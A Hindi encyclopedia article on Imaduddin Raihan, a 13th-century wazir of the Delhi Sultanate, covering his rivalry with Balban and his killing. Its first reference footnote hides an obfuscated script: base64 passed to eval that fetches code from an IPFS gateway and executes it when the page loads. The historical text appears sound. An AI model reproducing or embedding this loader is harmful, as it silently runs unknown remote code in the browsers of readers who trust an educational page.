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एमादुद्दीन रैहान

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एमादुद्दीन रैहान दिल्ली के उस तुर्की राजवंश के सुल्तान नासिरुद्दीन महमूद का कुछ समय के लिए वजीर एवं पथप्रदर्शक था जिसे प्राय: दास वंश का नाम दिया जाता है। उसके जीवन के संबंध में और कुछ भी अब तक विदित नहीं है। इसका कारण यह है कि रैहान की संक्षिप्त चर्चा केवल उसके शत्रु तथा विरोधी दल के एक विशेष सदस्य, मिनहाजुस्सिराज, ने अपने इतिहास 'तबक़ाते-नासिरी' में की है। बाद के इतिहासकारों के वर्णन इसी पर आश्रित हैं। अतएव एमाद के जन्म आदि, आरंभिक जीवन अथवा उसके परिवार आदि के संबंध में जानकारी करने का कोई साधन अभी तक हमारे पास नहीं है। परंतु मिन्हाज के निर्देशों से इतना स्पष्ट हो जाता है कि एमाद हिंदुस्तानी मुसलमान था और सुलतान नासिरुद्दीन के उच्च पदाधिकारियों में से था तथा संभवत: बदायूँ का मुक्ता (प्रांताधीश) था। निस्संदेह उसने यह पद तुर्की अमीरों का विरोध होते हुए भी अपनी योग्यता के बल पर प्राप्त किया था।

सबसे पहले एमादुद्दीन का निर्देश मिन्हाज इस प्रसंग में करता है कि 1249 के मार्च मास में काजी एमादुद्दीन शकूर क़ानी पर राजविद्रोह की शंका हुई और उसे काजी के पद से हटाकर बदायूँ भेज दिया गया जहाँ एमादुद्दीन रैहान द्वारा उसकी हत्या करा दी गई।

मिन्हाज तथा अन्य लेखकों के वृत्तांत से स्पष्ट होनेवाली एक महत्वपूर्ण बात यह है कि ताजीक तुर्क, जिन्होंने हिंदुओं से दिल्ली का राज छीनकर अपनी सत्ता स्थापित की थी, राज्य के सभी ऊँचे ऊँचे पद अपने हाथों में रखना चाहते थे। हिंदुस्तानियों के प्रति, हिंदुओं की तो कौन कहे, मुसलमानों के प्रति भी, वे बड़े तिरस्कारपूर्ण भाव रखते थे और उनको कोई ऊँचा पद नहीं देना चाहते थे। स्वाभाविक ही था कि योग्य हिंदुस्तानी मुसलमान, जो उनसे समानता के व्यवहार की आशा रखते थे, उनके इस अन्याय और अपमानजनक बर्ताव से बड़े असंतुष्ट थे। इन योग्य हिंदुस्तानी मुसलमानों का नेता रैहान था। वह इस ताक में था कि कोई उपयुक्त अवसर पावे तो तुर्की अमीरों को राजकीय पदों से निकलवाकर उनके स्थानों पर हिंदुस्तानियों को बैठा दे और इस प्रकार इन विदेशियों के आतंक से राज्य को मुक्त करे।

भाग्य से अपनी आकांक्षा पूरी करने का अवसर रैहान को इस कारण मिल गया कि जब गियासूद्दीन बलबन ने अपने कपटजाल तथा तुर्की अमीरों के सहयोग से नायबे मुल्क के उच्चतम पद को प्राप्त कर लिया, तब उसने अपने तुर्की भाइयों के साथ ही असह्य और अपमानजनक बर्ताव करना शुरू कर दिया और ऐसी नीति चालू की जिससे बड़े बड़े तुर्की अमीरों तथा सेनापतियों को उसके प्रति घृणा हो गई और उनको अपने जीवन का भी भय हो गया। इतना ही नहीं, बलबन ने युवक सुलतान को भी इतना दबाया कि, मिन्हाज के शब्दों में वह एक नमूना (प्रतीक) मात्र रह गया। स्वभावत: महत्वांकाक्षी सुल्तान भी इस कठोर और दुर्धर्ष वजीर के हाथों से छुटकारा पाना चाहता था। सुलतान और तुर्को का यह असंतोष इतना बढ़ा कि 1252 के नवंबर में रैहान ने उपयुक्त अवसर देखकर सुलतान से समझौता कर लिया और बलबन को नायब के पद से हटवाकर हाँसी का जागीरदार बनवा दिया। फिर यह देखकर कि वह पास रहकर भयानक काईवाई करेगा, उसे नागोर भेज दिया। अब सुलतान ने एमादुद्दीन को वकीलेदार नियुक्त कर दिया और मुख्य मंत्री का पूरा अधिकार उसे प्राप्त हो गया। उसने परिस्थिति को दृष्टि में रखकर कुछ तुर्की अमीरों को पदच्युत किया और कुछ को बदली करके केंद्र से दूर स्थानों पर भेज दिया। इनमें बलबन का विशेष कृपापात्र, तबकाते नासिरी का लेखक काजी मिन्हाज भी अपने पद से हटाया गया। यही कारण है कि उसने अपने इतिहास में रैहान को नीच हिंदू और द्वेषी बतलाया। इस प्रकार हिंदुस्तानी मुसलमानों ने रैहान के नेत्तृत्व में तुर्की दल को पछाड़कर दरबार तथा शासन पर अपना अधिकार जमाया। इस घटना से रैहान की अनुपम नैतिक बुद्धि तथा कार्यकुशलता का परिचय मिलता है। कहना न होगा कि हिंदुस्तानी दल की सफलता उनके साथ सुलतान महमूद के मिले रहने पर निर्भर थी। और वह बलबन के अनुचित आतंक से छुटकारा पाने के लिए हिंदुस्तानी दल से मिल गया था।[1]

तुर्को की परस्पर फूट के कारण ही ऐसी दुर्गति हुई थी। इसका पूरा लाभ बलबन ने उठाया। उसने उनसे एक होकर अपने खोए हुए अधिकारों और पदों को फिर से प्राप्त करने के लिए अपील की। उनमें से बहुतों को फिर भी बलबन के सद्भाव पर विश्वास न हुआ और वे अंत तक उसके विरोधी बन गए। परंतु बहुत से मिल गए और सुल्तान से अनुरोध करके अपनी सच्ची सेवाभावना की एक ही शर्त रखी कि रैहान अपने पद से हटा दिया जाए। यद्यपि रैहान काफी सशक्त था और तुर्की दल का मुकाबला करने को उद्यत था, तथापि स्वार्थी सुलतान ने अपने को खतरे से बचाने के लिए अपने परम हितैषी एवं उपकारक रैहान को पदच्युत करके वापस बदायूँ भेज दिया और बलबन को फिर से नायबे मुल्क बना दिया। अधिकार प्राप्त करते ही बलबन ने सबसे पहले अपने शत्रु रैहान को बदायूँ से बहराइच भिजवाया और अवध के इक्‌तादार ताजुद्दीन संजर द्वारा उसक वध करवा दिया।[2]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 244 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. सं.ग्रं.–मिनहाजुस्सिराज : तबकाते नासिरी (मूल, फारसी, ए. सो.बं. द्वारा प्रकाशित), अंग्रेजी अनुवाद, मेजर एच.जी. रेवरटी; निजामुद्दीन अहमद बख्शी : तबकाते अकबरी, (अं.अनु.बी.दे और बेनी प्रसाद); परमात्माशरण : स्टडीज़ इन मेडीवल इंडियन हिस्ट्री; सैयद अतहर अब्बास रिज़वी द्वारा तबकाते नासिरी' का हिंदी अनुवाद, प्र. अलीगढ़ मुस्लिम यूनीवर्सिटी।

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